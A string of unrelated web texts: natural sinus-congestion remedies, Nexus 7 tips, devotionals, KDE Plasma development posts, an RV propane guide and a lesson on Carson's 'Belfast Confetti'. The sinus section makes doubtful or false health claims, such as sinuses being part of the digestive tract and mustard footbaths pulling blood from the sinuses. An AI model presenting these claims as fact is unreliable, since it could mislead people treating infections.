Hot spices such as cayenne pepper can also be used as natural remedies for sinus congestion. Cayenne pepper contains capsicum, which has anti-inflammatory and antibacterial properties that should be helpful in relieving sinus congestion.
• Eat probiotic-rich foods
The sinuses are extensions of the digestive tract. This means that there is a relationship between digestive health and respiratory health. An unbalanced gut flora can lead to a weakening of the body’s defense system – which is mostly in the gut. That said, a sinus infection can leave the gut flora depleted, which, in turn leads to a compromised immune system. To remedy this situation, it is advised that you eat more foods that are rich in probiotics – beneficial bacteria that constitute the gut flora. Examples of probiotic-rich foods are kefir, kimchi, yogurt, and sauerkraut.
• Garlic
Respiratory conditions like cold can be the cause of your sinus congestion. If this is the case, then you can benefit from the antibiotic and antioxidant properties of garlic. Garlic’s antibiotic properties are attributed to the presence of allicin. Eating garlic cloves daily can help to reduce the risk of developing common cold, as well as in improving some of the symptoms of sinus congestion.
• Eucalyptus oil
Eucalyptus oil is another natural remedy for sinus infections, including sinus congestion. Based on report from the University of Maryland Medical Center, eucalyptus oil can be used as a sinus decongestant because of its phlegm-loosening property. You can use the oil by dripping a few drops into a bowl of boiled water and with your head bent towards the bowl, start inhaling the steam (ensure to cover your head with a towel so as to get the most of the steam).
• Peppermint oil
The menthol present in peppermint oil can be beneficial in treating sinus congestion and inflammation. Menthol helps in this way by stimulating the receptors in the nose to give the nose a feeling of decongestion.
• Horseradish
Based on anecdotal reports, eating too much horseradish can help in treating sinus congestion. To get the most from horseradish, mix some horseradish powder with lemon juice and drink.
• Onion
Like most other herbs on this list, onion’s decongesting property is due to its anti-inflammatory effect. Onion as a natural remedy helps to reduce inflammation of the sinuses, thereby reducing the pain and mucus production. To reap the benefits of onion as a sinus decongestant, get some fresh onions and chew, or add onions to hot water and inhale the aroma.
• Turmeric
Turmeric is rich in antioxidants and other beneficial chemical compounds like curcumin, which has anti-inflammatory properties. Turmeric powder can be mixed with ginger root and prepared as tea. The combination of turmeric and ginger helps to thin out mucus from the nasal cavities. Moreover, treating sinus congestion can cause an upset stomach, which can be alleviated by the ginger root.
• Oregano oil
Oregano oil has antimicrobial properties that should come in handy when treating sinus infections. Drip a drop of oregano oil in a cup of water or tea and drink once each day to alleviate the symptoms of sinus congestion. You can also apply oregano oil topically on the neck to relieve mucus congestion.
• Apple cider vinegar
Apple cider vinegar is a storehouse of many helpful chemical compounds. You can benefit from apple cider vinegar by adding two to three tablespoons of the raw liquid to a cup of hot water or tea. Repeat the procedure two more times daily.
• Echinacea
Echinacea plant can also be used in treating sinus congestion. This is because Echinacea possesses anti-inflammatory and antimicrobial properties that help in reducing swelling and in fighting off viruses and bacteria responsible for sinus infections. In addition, Echinacea’s immune-boosting property can help in strengthening the body’s immune system in combating infections.
• Ginger
You can chew on some fresh ginger roots or drink ginger tea to relieve sinus inflammation and congestion. Ginger contains several helpful compounds that help in reducing mucus in the sinuses, as well as in reducing the swelling.
• Natural honey
Taking 2 to 3 teaspoons of natural local honey twice each day can help to clear the congested sinuses. Another way to benefit from honey is to add it to beverages before drinking. Among other health benefits, honey’s anti-inflammatory and antioxidant properties are helpful here.
• Chicken noodle soup
You can relieve sinus congestion by drinking up a bowl of chicken soup. This helps because chicken contains cysteine, which is an amino acid that helps to thin out mucus in the nasal cavity.
• Pineapple
Pineapple contains bromelain, an enzyme that has anti-inflammatory, astringent, and mucus-loosening properties. You can cook the pineapple if it is too tart for your mouth.
• Lemon
Lemon’s antioxidant and astringent properties can help in the treatment of sinus congestion. You can add a few drops of lemon juice to water and drink if you are feeling congested.
• Tomato juice
Add a pinch of table salt and some crushed cloves of garlic to blended tomato juice and drink up if you have sinus congestion. This mixture is a fast and effective method of alleviating the symptoms of sinus infections.
• Fenugreek seeds
You can use fenugreek seeds to reduce mucus build-up in the sinuses. Get some fenugreek seeds and pour to a cup of water and bring to boil. Allow the mixture to cool, then strain and drink.
• Mustard seed powder
Based on a particular report, you can soak you feet in a footbath with mustard seed powder added to relieve sinus congestion. According to the report, this process works because of the fact that the footbath helps to promote blood circulation to the feet, thereby, reducing blood circulation to the sinuses.
Sinus infections are becoming more popular and a great reason for many hospital visits each year. And with many of the antibiotics available being ineffective against viral sinus infections, choosing to go with natural remedies seem to be a good option.
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The Belfry WebComics Index
CID:19110 Subscriptions:38Readers this Week:1
Genres:Action-Adventure, Drama, Fantasy, Furry, Historical
Description*:Loosely based on Norse mythology and historical events, the story follows a valkyrie (a minor Norse war goddess), Rathgirth Rossweisse Valkyrja, who is exiled to Earth for 1000 years, starting in 1066. She is joined by fellow Aesir exile, Jori Helmingr, and later by a brook faerie named Lilla.
Flags:A Adult Situations
L Adult Language
N Nudity
V Graphic Violence
People who read this, also tend to read these:
(44%) i *Erma Felna EDF ANV (41%) i *Tina of the South ALNV (40%) i Rolling Dillo, The AN (39%) i Rocketman ALNV (38%) i *Project 2nd LNV (38%) i *Red Space Blues ALV (38%) i Veligent, The N (38%) i *Springfield Tales ALN (37%) i Alone Together A (37%) i *Ample Time AN
Higher percentages are more closely related.
Entry Added:Wed, Aug 31, 2011
Entry Modified:Sat, Jul 2, 2016
eXTReMe Tracker
Belfry Webworks
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global_01_local_1_shard_00001926_processed.jsonl/49603
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Forum Thread: How Do I Raise the Max Volume Limit?
Is there a way to raise the max volume limit? I was watching Netflix on my Nexus 7 and there was a movie with really low-sounding parts, which at max volume, was still unlistenable. The volume was turned all of the way up, so I don't know what's up.
Maybe it's just Netflix, but is there a way I can raise the max volume allowed to compensate for this.
I suppose there could be a risk of blowing out the speakers if it's too loud during the non-silent parts, but… just curious. Is there some setting I'm missing?
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global_01_local_1_shard_00001926_processed.jsonl/49604
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How To: Don't Tap—Swipe Back to Previous Screens on Your Nexus 7 Tablet Instead
Facial, voice, and hand gestures are the way of the future for controlling our devices, and even gaming consoles like the Xbox One have incorporated them. Unfortunately, our Nexus 7 tablets have not. We're currently limited to using soft keys for most actions, but we can inch closer to the future by replacing one critical action with a simple touch gesture—going back.
If you followed my guide on unlocking KitKat's real full-screen mode on your Nexus 7, your navigation keys will actually be hidden, requiring a swipe to reveal them and tap to go back. This mod makes it more efficient by replacing two steps with one. Even if you're on the stock UI, swiping back is way smoother than tapping.
Step 1: Install SwipeBack
Thanks to XDA dev Petercxy, with a simple swipe you can easily track backwards through your apps. Head to Xposed Installer, select Download, and search for SwipeBack.
Step 2: Enable the Module
Head back into Xposed Installer and go into Modules. Select SwipeBack, then reboot your Nexus 7.
Step 3: Set Up SwipeBack
The setup allows you to choose the location of your swipe gesture. You can select to bottom, left, right, or all three if you want (though, I wouldn't recommend it).
Also available is the ability to blacklist apps in which you don't want this back action applied to.
SwipeBack is an extremely helpful module for me, since immersive mode hides my soft keys. Hopefully you find it just as convenient, even if you're not in immersive mode.
If you liked this tweak, check out some of our other Xposed Mods for the Nexus 7 to see what else you can do. And as always, leave any comments you may have below.
Cool beans bra¡ Thx... ??
Definitely, bro! Enjoy that sh*!
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global_01_local_1_shard_00001926_processed.jsonl/49613
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Forget Me Not
“How long, Lord? Will you forget me forever?
How long will you hide your face from me?
How long must I wrestle with my thoughts
and day after day have sorrow in my heart?
How long will my enemy triumph over me?
“ Look on me and answer, Lord my God.
Give light to my eyes, or I will sleep in death, and my enemy will say, ‘I have overcome him,’
and my foes will rejoice when I fall.
“ But I trust in your unfailing love;
for he has been good to me.” (Psalms 13 NIV)
I don’t know about you, but I can totally relate with what David is saying in these verses. In my walk with Jesus, I have experienced times (extended periods of time) when I felt as if God had forgotten all about me, and wouldn’t even look my way. That sweet communion that I enjoyed with the Lord was only a memory that brought no comfort, but actually served to torture my soul as I struggled to understand what was going on. The “enemy” seemed to have the upper hand, defeating me at every turn.
For the lover of God, there can be no greater torment than the perceived absence of His presence. The “sparkle” in your eyes grows dim, and even death itself seems a distinct possibility. You can hear the enemy whisper, “I knew this would happen, and now your God has abandoned you. I’ve got you now!” Perhaps there are even those who rejoice that you are in such a state. At times like this, there is great heaviness and darkness, panic can easily set in. But it doesn’t end there!
Along with the psalmist, we may trust in the unfailing, loyal love of God. But although we idealize men like David; dare I say that we are in a better position than he ever was? For you see, Jesus has come! The Father has caused us to be placed in him and He in us. The kingdom of God is within you. He became everything that we are so that we may share in all that He is. The eternal love that God has always known within himself, the holy love of the Father, Son and Spirit is ours in Christ. We are connected to Him like branches to a vine. The very life of God is in us, flowing through us if you will, in the Spirit. The One David knew in part, and prophesied about in part has come. It is finished! And we are in Jesus. Talk about rejoicing. Talk about singing. Oh yeah, God has been “berry,” “berry” good to us!
We all go through hard times, times when it seems like God has left the building. But be reminded, you are the “building” God resides in. The Father has placed you in Jesus, and shared with you the eternal holy love of God. He would no more leave you than He would the Son. Think on that, and rejoice in the Lord.
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global_01_local_1_shard_00001926_processed.jsonl/49618
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Month: February 2013
The Only Constant Is Change
Prarie Conversion
In this picture, you can see evidence of three distinct time periods. First the white oak tree, a relic from a pre-pioneer period, luckily still remains after over a century of intensive management. My guess is that tree is 150-200 years old. Prior to the white invasion, native humans where well adapted to the fire climate of the west and even encouraged it when they could. An open forest with frequent fires produces more food. Its that simple.
Next the grass, no not that kind of grass! In 1850ish, these areas where settled by European homesteaders. As they found small patches of prairie or oak savannah, they expanded these openings by removing the scattered Douglas-fir up to the edges of the denser woods. They too would use fire as a tool to keep these areas open, primarily to graze sheep.
Over time, sheep would become harder to raise and they would shift to cows. As fire policy in the west evolved, it soon became unpopular to burn large tracks of ground, and soon preventing fire was a national mandate. I also heard that changes in public attitudes towards trapping and killing predators also influenced the shift to cows.
This brings us to the Douglas-fir. The taller ones are about 60 years old and getting close to 120 feet tall. These trees represent that point in time where the fire exclusion policy became actual practice. I also believe that there was less pressure to maintain large prairies for food as the decedents of the settlers became more dependent on revenue from other sources (like a job at the mill, etc.). Go out into any of your open areas on your land and find the small fir trees growing in the understory. Sixty years from now they will look like the ones in the picture! (If you let them…)
You can also see the younger fir in the right of the picture. These trees continue to fill in around the edges of the openings, and soon will re-take this area completely. And to think that just 100 years ago, one would have never thought these areas could be a forest! Yet they are. Consider this next time you see a forest clearing, clear-cut, agricultural opening, etc… If the soil layer has not been removed, or paved, most changes to vegetation are temporary. Extremely temporary – when you consider the time scale of the western forests – which spans millions of years. Even the mighty human being is a blink of this history.
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global_01_local_1_shard_00001926_processed.jsonl/49623
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Tag Archives: plasma5
Kirigami 1.1
Today the first feature update of Kirigami has been released.
We have a lot of bug fixes and some cool new features:
The Menu class features some changes and fixes which give greater control over the action triggered by submenus and leaf nodes in the menu tree. Submenus now know which entry is their parent, and allow the submenu’s view to be reset when the application needs it to.
The Drawer width now is standardized so all applications look coherent from one another and the title now elides if it doesn’t fit. We also introduced the GlobalDrawer.bannerClicked signal to let applications react to banner interaction.
Desktop Kirigami applications support the “quit” shortcut (such as Ctrl+Q) now.
Plasma 5.8 will depend from Kirigami 1.1, so if you are planning to write a Kirigami-based application, it will work by default and nicely integrate in the Plasma 5.8 desktop.
Plasma 5.8 also has a new big user for Kirigami 1.1, that is Discover: the application to search and install for new software, has a brand new user interface, based upon Kirigami.
This is problably the last feature release based upon QtQuickControls 1, QtQuickControls 2 version is on the way at an experimental stage. The port will have way simpler code (and smaller memory footprint) but this is an entry for another day 🙂
Tooltip handling
An informational tooltip in Plasma is an item that shows extra informations for items such as task items, and is a single entity, moving along what you want to know more of, rather than magically appear out of nowhere (that’s the kind of “magic” the human brain doesn’t like).
A problem with Plasma tooltips was that they tried to animate themselves, that is usually not a good idea on X11, due to its old async architecture.
But KWin to the rescue! if we want a smooth animation of both the position and the size of the tooltip, the compositor is the place where to do it.
With its scripting user interface, it was even possible to implement it completely in JavaScript.
You can see it in this video taskbar tooltips animating and resizing/morphing in a similar way Windows 7 does.
Btw, the animations in he video looks way less smooth than are in reality, due how terrible screencasting is under X11, but for that:
Wayland will fix it!
Wayland will fix it!
Plasma in all colors you like
The Plasma theme system had a feature (since many years, actually) in which SVG elements done in a certain way can be recolored with colors coming from a theme file.
The Breeze Plasma theme (and now all the monochrome Breeze icons too) was all done in this way, in part to prepare what I’m, presenting today:
If the colors in the SVG can follow a color scheme defined in the theme, they can follow also a system wide color theme no?
For Plasma 5.6, (as a feature that was requested really a lot) the default Breeze theme, while by looking familiar, it will change color following the applications scheme.
However, if you prefer to maintain a clear distinction between the workspace and the applications (And I’m definitely among them), there are still available the themes “Breeze Light” and “Breeze Dark”, just as before (Oxygen and Air also received some nice visual updates).
Let’s look at some screenshot:
So far so normal, typical Breeze theme we had so far.
Let’s try with a different color set:
Or another one, this time darker.
A pager for activities
One of the new useful tiny plasmoids that will be available in Plasma 5.5 is one called Activity Pager: you can find it in the kdeplasma-addons package of the release.
How does it look? well, not too exciting and very familiar, and that’s precisely the point:
since people use activities in very different ways, it’s written as an aid for people that use it in a particular way, when the use case partly overlaps with virtual desktops.
It’s built to look like a pager, behave like a pager (including the mini previews of windows) but instead of beng based on the virtual desktop, it’s based on the activity, so each little desktop preview will represent the activity and the windows in it (dragging previews from one activity to another works too).
There is a Blur in my Wayland
Over the last few days I decided to help Martin a bit with the ongoing effort on Wayland, since there are still many parts of work missing in order to have a full Plasma Wayland session to just work, but it’s impressive how fast it’s getting there.
It was just a tiny part but is worth sharing it as it brings pretty pictures! (and shows how easy is to contribute).
The popups of the plasma shell need custom positioning code as normal applications can’t position themselves anymore for security reasons, plus KWin uses its effects framework to do a couple of things on plasma panels and popups:
• Shadows: the shadows are rendered by KWin, they aren’t really a part of the window, as the shadow must not count anything in the position and resizing phase, but just a visual effect on it, it’s also more semantically correct.
• Background effects: both the panel and the popups have a blurred background plus a contrast/saturation effect, to make it more readable and prettier.
After hooking a protocol to control such effects into wayland, here’s the result, almost undistinguishable (there is still a pretty visible graphical issue, points for finding it) from your current X11 Plasma 5.4 session:
So, what needed to be done?
• KWayland protocols: each KWin effect that can now be controlled with X properties need its own wayland protocol extension in order to achieve the same thing, I wrote one for blur behind and background contrast (shadow was already there). The good news here is that Martin is working on a tool to auto generate the binding code from the XML specification of the protocol.
• KWayland-integration repo: The effects that had KWndowSystem API to control them, need a Wayland implementation as well, this goes in the KWindowSystem wayland plugin contained in the kwayland-integration.git repo.
• Modify the KWin effect: then the kwin effect needs to read the data that the client wrote on the surface with the new kwayland protocol and control the effect, in a way that is behaviorally identical to the X11 way, that came from reading X properties from the window
As an “user” of the infrastructure, I’m very impressed about the work that went in the Wayland port of KWin and from the KWayland framework: it really makes using a very challenging and “peculiar” plain C API very easy and elegant in a way familiar with our cozy C++/Qt world.
I can say that is a learning curve soft enough for everyone to jump in and help the big scary transition if they feel to.
Writing QML based apps, the KDE way
This is an interesting transitional period in the Qt world for desktop applications. We are in the phase where QML is becoming better and better for the use in a Desktop context, even for full fledged applications.
We noticed that there were some bits derived from the many years of experience in Plasma that can be very useful for every application developer out there, that fall pretty much in those categories:
• where to install and how to access QML files.
• integrating KDE pieces, such as the translation system
• how to write an application that is 100% QML and how to distribute it
• how to write an application that is a mix between C++ and QML
• how to write a KCM for systemsettings that is purely based on qml (and doesn’t even link to QWidgets)
Years ago, with the need of having plasmoids implemented with scripted language, we had also the need of having a simple way to distribute those plasmoids around. They are in the end just a bunch of files, that can beany kind of data: the actual source code of the scripts or any needed data assets such as graphics and sounds.
This brought the class Plasma::Package in libplasma, that’s the way to both install/unistall the plasmoid and access any data file or script file from plasmoids.
The problem then posed itself almost identical for things like scripting support in any generic Qt application, like any pack of addons, such as graphics or souds themes.
Same thing for applications based upon QML, that ends up being composed by two parts: purely C++ parts with the central logic and the QML files together any asset that may be needed.
One interesting feature is also that the same files (QML, assets or whatnot) can have versions specific for a particular device, for instance an application may have 99% of the same code between the normal desktop version and one optimized for touchscreen, intended at tablets. Just the few, interested QML files would be duplicated between the desktop and tablet versions.
Since Frameworks 5.6, there is a new tier 2 framework: KPackage, that offers what Plasma::Package offered in libplasma, but with less dependencies and usable by any Qt application that can use a tier 2 framework.
KDeclarative is the KF5 center for all things related to extending QML.
The framework provides several qml import plugins, such as imports specific of a particular KDE Framework.
It also offers two C++ libraries: libkdeclarative and libquickaddons.
libkdeclarative focuses on KDE related functionalities of the QML engine:
• KDeclarative: installs things in the QML engine: such as a KIO-based networkaccessmanager and the 18n() transpations functions.
• QmlObject: A class similar to QQuickView: in which you can just set the url of a QML file or a KPackage instance and it loads it, instances the QQmlEngine etc. The difference with QQuickView is that it’s not graphics based and is not a QWindow, you’ll just have the instantiated QObject *. Useful if your project is not graphic or if you already have a view, and you just want to instantiate a new thing for reparenting it into the view you have.
• ConfigPropertyMap: it’s a way to access KConfigXT with QML: given a KCoreConfigSkeleton instance, you’ll be abe to read and write its config keys just like it’s a JavaScript Object.
The other one is libquickaddons that focuses on utilities related to QtQuick, the actual graphical components.
• ManagedTextureNode: it’s a QSGSimpleTextureNode that will manage its own texture, making simpler to implement your own QQuickItem.
• ImageTexturesCache: helps to manage textures by creating images and reference counts them, use it if your QQuickItem starts from QImage.
• KQuickAddons::ConfigModule: the base to do KControlModules based on QML, without dependencies from QWidgets, more on that later :).
QML based applications: QML only
qmlpackagelauncher is a tiny command line tool provided by KDeclarative: it’s used to launch an application that is written in QML-only (no main application executable).
The application QML is intended to be distributed in a KPackage structure, with the QML engine initialized with KDeclarative, therefore having things like the i18n() functions available.
QML based applications: mix of QML and C++
The QmlObject class of KDeclarative can now load files from a KPackage, either by setting an existing KPackage instance to it or just setting the kpackage plugin name, making very simple to load a qml file from a plasmoid-like KPackage structure installed on the disk, such as in you main:
KDeclarative::QmlObject *qmlObj = new KDeclarative::QmlObject;
For a full application is recomended to use the component ApplicationWindow from QtQuickControls, that’s its own QWindow, so it’s not even necessary to create a QQuickView or QQuickWindow, having the really needed C++ part really just those two lines.
QML based KControlModules
An important part for the ongoing redesign of the Plasma Desktop by the VDG also passes trough writing (and rewriting) modules for Systemsettings or KInfoCenter in QML, to make easy making those franly often outdated UIs beautiful.
One important thing for a mass-migration like that,
ConfigModule has the same API as the old base for kcontrol modules, KCModule, but is a pure QObject, making possible for a future QML-only Systemsettings version.
Start with your old KCModule subclass, keep all the logic in it, but start to scrape off all the QWidget based UI bits and give the class a nice property-based, QML friendly API to read and set the values that will eventually go into the config files.
The actual load and save from the config file, will be done just as in KCModule, by reimplementing ConfigModule::load() and ConfigModule::save().
The UI, QML based part will be provided by a KPackage, with the same name as the component name of the KaboutData of the ConfigModule instance. The QML part will be able to access the configModule instance as the “kcm” global object, just as “plasmoid” is accessible from within the QML code of plasmoids, as well as the ConfigModule QML attached property.
Getting things back: Comics
After the system monitor, today another neat little toy that was gone in the KF5 port returned in Plasma for 5.3: The comic applet.
One thing that I really felt missing for the desktop to be really completed, is an XKCD always on the desktop: how can you live without an XKCD comic always there? I certainly couldn’t 😉
It’s a pretty much straightforward port of the Plasma 4 version: the UI is identical and all options are still where you left them.
I’m pretty happy how it is and how it behaves right now, so personally I consider it in bug fix mode. However, if someone has big ideas on it (and wants to execute them) that would be awesome as well.
The neat thing is that since all the comic plugins were written in JavaScript, all the old ones that can still be downloaded with Get Hot New Stuff still just work(tm).
Yet another way to make your app support StatusNotifierItem
Yesterday I was notified of this little neat project:
(And yes its author would be very happy about feedback patches and so on 😉
Basically it’s a pure C++ library with very few dependencies that implements the support for StatusNotifierItem enabling systemtray icons in KDE Plasma 5 and Ubuntu Unity.
recomonded to be used by C++ applications that don’t actually depend from Qt or GTK and want to keep their dependency footprint very small (it’s Mit licensed so should be ok to use it from an app based on any license)
So now there are officially no excuse to not use our new shiny system tray 😉
Choose your Look and Feel experience
Plasma 5.1 will make way easier to fine-tune their workspace to their needs.While already very powerful, it was not always trivial, so now on one hand it will be possible choose between plasmoids that offer the same feature with a very simple UI.
On the other hand, ever wanted to set themes, look and feel of your desktop, but was discouraged by how many places you had to change themes to make the experience as you wanted? being icon theme, widget style, plasma theme, cursors etc…
Plasma 5.1 will support the concept of Look and Feel packages (or “mega themes” if you like) Basically an one stop place to set the look and feel of the whole desktop.
To start, there will be a “Breeze” and an “Oxygen” experience, and in the future, let’s hope yours too 😉
In the first release it will be very basic, but in the future it will grow more complete, allowing to more fine-tune individual components, downloading new “look and feels” from the internet etc.
Technically, Look And Feel themes are plasma packages, that contain two things: configuration files for defaults such as icons, colors, cursors etc
and QML files for certain parts of the workspace ui, such as the splashscreen, the lockscreen etc, allowing from very simple things (like a theme that just sets icon theme, widget style etc) to very comprehensive ones, that change completely the logout dialog, lockscreen etc.
3rd party plasmoids and Plasma Next
Starting from today, there is a new category in kde-look.org explicitly for Plasma 5 QML2-based plasmoids.
As it used to be, they can be browsed, installed and uninstalled directly from the “Get new widgets…” option in the Add widget interface.
plasma5 ghns
As you can see, the list is rather empty right now, but I’m looking forward to see the plasmoids published by the community.
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global_01_local_1_shard_00001926_processed.jsonl/49639
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Miradore Management Suite Portal
Knowledge base, self-service support
2014-07-14 Release notes | API
Main improvements
API for Miradore Online
This release introduces API (Application Programming Interface) for Miradore Online. The API is a REST based web service which is intended for integrating Miradore Online with external information systems. It is used over HTTPS with GET method to export data directly from Miradore Online's database in XML format.
The API documentation is available here.
Please send comments to [email protected].
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global_01_local_1_shard_00001926_processed.jsonl/49665
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How a simple RV propane system should look
Liquid Propane (LP) is found in almost every Recreational Vehicle (RV), unless of course you prefer another option then you might have an electric only RV. LP-Gas typically fuels your cooktop, stove, refrigerator, and/or water heater. Whether you're setting up a new propane system or troubleshooting your current one, we recommend knowing a thing or two about how it's laid out. Below is BASIC information on an RV propane system.
Propane Tank
This is where it all starts, the propane tank. Basically there are two different styles, refillable or disposable. RV propane systems are typically set up with a refillable tank, so we are going to go over that system in this article (disposable cylinder system article coming soon). Refillable tanks are typically classified by the pound or gallons (ex. 30 lb. / 7.1 gal.). You might also see that they are DOT or ASME compliant, this means they are suitable for RV use. Refillable tanks are typically equipped with QCC valves that are fitted with a 1-1/2" ACME fitting. One thing to keep in mind is that propane tanks have a variable pressure, this means the pressure inside the tank can change based on weather conditions outside (we will get to why this matters later).
Type 1 Pigtail Propane Hose
Next in line is the propane hose. The Type 1 Pigtail will fit tanks equipped with a 1-1/2" ACME fitting (this is a common fitting found on LP tanks.) This hose is going to send that variable pressure propane to your Low-Pressure Regulator. These hoses should be changed every 7 years for safety.
Start Shopping Type 1 Hoses
Dual-Stage Regulators
The biggest mistake van converters make is that they hook appliances directly to that variable pressure propane tank (refillable or disposable) and the appliance can't handle it and locks up. This is where the regulator comes in, but keep in mind not every regulator is the same. Most people are familiar with the single-stage regulator used for barbecues, this regulator is not meant for RV appliances. A single-stage regulator converts the variable pressure from the tank to 10-15" Water Column (W.C.). Because barbecues are less sensitive, this is acceptable for backyard parties, but not for an RV appliance. A dual-stage regulator adds in a second-stage that takes that 10-15" W.C. and converts it to 11" W.C. (this is considered low pressure propane), this is the sweet spot for your typical RV appliance.
Note: If you're going to use the Marshall MEGR291 or the MEGR298 Regulator, you'll need some adapter fittings. The ME2132 Adapter connects the Type 1 Hose to the Regulator. The 704048-0606 Adapter connects the Regulator to the supply line (we'll explain this next).
Supply Line
Now it's time to connect the regulator that's producing 11" W.C. to your RV appliance. If you're using the Marshall regulator with the specified adapters above, you just need a Marshall Supply Hose, this will connect the regulator to a standard U.S. RV appliance (standard appliances are equipped with a 3/8" Flared Male Fitting). After connecting your supply line you're ready to fire up your cooktop. *Manufacturers: Keep in mind a supply hose is not acceptable in the interior of an RV. If you want to follow the rules, you'll want to install a copper line with 3/8" Flared Female Fittings on each end.*
Quick Note
You may see a small regulator on your appliance when installing the supply line. You'll think to yourself, why do I need two regulators? The smaller regulator fine tunes the propane flow for the appliance, it is not a low pressure regulator. If you hook high pressure up to to that regulator, it will lock up.
Finally, please keep in mind the information in this article is not guaranteed by Panther RV Products. We expect all of our customers to do their own research before making any major decisions while performing installations. For detailed installation information we recommend contacting the manufacturer of the product or system your installing.
Thank you for reading this article, Happy Travels!
Oct 19th 2017 Ethan Sweet
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global_01_local_1_shard_00001926_processed.jsonl/49714
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MD Boy
From Poser and Daz Free Resources
Jump to: navigation, search
MD Boy
MD Boy with AD/MD Boy Body Suit and MDBoy Short Layered Cut hair
Download Links
Main Site:
Other Information
License:Commerical renders contents not to be distributed.
MD Boy is a male figure by MayaX. He, his clothing and hair can be found on the same page.
Clothing sets include: AD/MD B-Boy Set, AD/MD Boy Gakuran and AD/MD Boy BodySuit
Free resources for MD Boy include:
Materials and Shaders[edit]
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global_01_local_1_shard_00001926_processed.jsonl/49715
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Why You Should Improve Your Vocabulary
When I discovered that today, October 16, is “National Dictionary Day”, I thought I’d take two minutes to totally geek out and share why I’m a proponent of improving your vocabulary every day.
What is National Dictionary Day? It honors Noah Webster, considered the Father of the American Dictionary, and strives to bring awareness to the importance of developing vocabulary. (Fun fact: Webster began writing his dictionary at the age of 43 and it took him 27 years to finish it!)
I admit I’m smitten with this pseudo-holiday. Not only is my town (West Brookfield, Massachusetts) home to Charles Merriam, who is famous for publishing the first Webster’s Dictionary, but I love learning new words, trying to use them in my life, and feeling wicked smart when I recognize them in a sentence.
It started in middle school when we were assigned chapters in our vocabulary book that introduced us to a list of new words and provided numerous exercises to help absorb them in our language repertoire. This was the only homework that actually came natural to me, and as a result I craved learning more new words.
Fortunately, there is no shortage of words to learn. And if you think about it, dictionaries are kind of a big deal; certainly you’ve used one in your life. Dictionaries literally are the bible of our language, and language and communication is by far one of the most important parts of our lives.
People with great vocabularies always inspire me. They seem well-read, worldly, intelligent, and eloquent. If you’re an avid reader, you probably pick up new words regularly. But if you don’t, you have to work a little harder to learn new words. Why learn new words? Why not? There are almost 500,000 words in the dictionary and if you’re only using the same few thousand over and over, you’re really missing out. Time to spice it up! Learning new words can pay off in our careers (talk smarter), our relationships (choose better, more thoughtful words), and our health (exercise the brain).
Starting today, commit to learning a new word every day. If that’s too ambitious and you don’t want to flip open a dictionary every night, how about once a week? Or the next time you hear or read a word you don’t know, open up the good ol’ Webster’s Dictionary – you know you’ve got one – and look it up. You’ll gain the power of another word, not to be taken for granted.
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global_01_local_1_shard_00001926_processed.jsonl/49717
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Results 1 to 4 of 4
Thread: Iris, smart home system, Lowe's Companies, Inc., Mooresville, North Carolina, USA
1. #1
2. #2
Life, made easier with Iris
Published on Sep 21, 2015
Iris user Eric describes how Iris works with his family to make their day-to-day activities easier than ever.
3. #3
Introducing Iris Smart Home Security
Published on May 8, 2017
Iris now offers professional monitoring, built on a smart home platform to provide a complete DIY home security system.
4. #4
Intro to Iris Professional Monitoring
Published on May 8, 2017
Know what to expect in the event of an alarm with Iris Professional Monitoring.
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What Are Your Values?
Do not be wise in your own eyes; fear the Lord and shun evil. -Proverbs 3:7 NIV
The world today values personal effort and applauds those who are “self-made.” Scripture corrects this tendency toward self-elevation in Romans 12:3: “Do not think of yourself more highly than you ought.” Proverbs 3:7 gives a similar warning against being deceived into believing wisdom comes as a result of your own efforts.
The truth is that any time you exalt yourself, you are no longer wise, but are living a life of foolishness…a scary thought! The remedy to this attitude is in the second half of this verse… “Fear the Lord”. But this must be more than mere words. True ‘fear of the Lord’ will result in a change of lifestyle where you value what He values, and reject what He rejects, regardless of your desires or feelings.
Verse 8 is the promise that “this will bring health to your body and nourishment to your bones” A lifestyle of this type will be physically healthier and your spirit can be refreshed, strong and constantly nourished because you have chosen to honor the Lord with your whole body.
Prayer Focus
• Pray for God’s wisdom to see evil and the strength to turn away.
• Pray for a godly view of yourself as a beloved child of God who is completely dependent on Him for life, strength & wisdom.
Karen Woodall
Karen Woodall
Karen is primarily a writer/editor for InTouch Ministries, but also pens for other ministries, and crafts discipleship posts for switchbacks.org. She lives near Atlanta, homeschools her kids, loves sports, and desires to help believers know Scripture and live for Jesus.
Karen Woodall
Latest posts by Karen Woodall (see all)
Enjoy this devotion? Spread the word :)
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Belfast Confetti
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Ms. Mc Caffrey
on 15 September 2018
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Transcript of Belfast Confetti
Poetic Techniques
Belfast Confetti
What do you know about 'The Troubles?'
How is this war different to the war Sassoon and Owen fought in?
Belfast Confetti
How do you think the title links in with The Troubles in Belfast?
Belfast Confetti
Ciaran Carson
Learning Intention
To examine an unseen poem on the theme of war.
Unseen Poem
Read title - predict content
Read poem twice - once for subject matter the second time to search for techniques and indentify their effect.
If there is an image attached check how it may relate to the poem.
What is theme?
What poems have you studied with the theme of war?
Titles and poets must be accurate
Spellings should be correct
Images from The Troubles
The Poet
Ciaran Carson, born in 1948, is a poet and novelist from Northern Ireland. Born into an Irish-speaking family, he went on to become Professor of English at Queen's University Belfast. He combines a life-long passion for traditional music with a deep interest in politics.
He lived through what became to be known as 'the Troubles'. This was the era of Irish nationalist terrorism that marked UK social and political life from the 1970s to the 1990s. During that time organisations such as the IRA fought to end British rule of Northern Ireland.
The conflict in Northern Ireland began in the 1960s when the minority Catholic population began campaigning against discrimination by the Protestant majority. By the 1970s, some Irish nationalist groups had started using violence to force the UK government to make the region independent of Britain.
British troops became an everyday presence on the streets of Belfast, the Northern Irish capital. At first they had come to protect the Catholics from Protestant violence. Before long they became, to nationalists, symbols of an unwanted army of occupation. Violent clashes between protesters and the 'security forces' (the police and army) were common.
Form and structure
The poem's form is immediately striking. Instead of neat, compact stanzas, the lines are over-long and the stanzas stretched.
On closer inspection, you can see there are two stanzas, the first with five lines, the second with four. Each line, however, spills over so there are additional lines of one or two words. By presenting the poem like this, Carson is expressing the confusion caused by the riot and bomb. For example, with the phrase "And/the explosion/Itself" (lines 3-5), we even end up reading backwards as our eyes have to move from right to left across and down the page.
However, through the confusion of the form and the language, we can see a narrative structure (an organised story). A demonstration has got out of hand and riot police have moved in to control it. The rioters start throwing things and there's an explosion (it is possible the nuts and bolts come from the explosion itself – time may also be confused in the poet's head). The poet runs for safety, trying to make sense of what is happening, but cannot escape.
The place he knows so well becomes a trap and he runs into a check-point where he is held up and questioned by the police.
Language and imagery
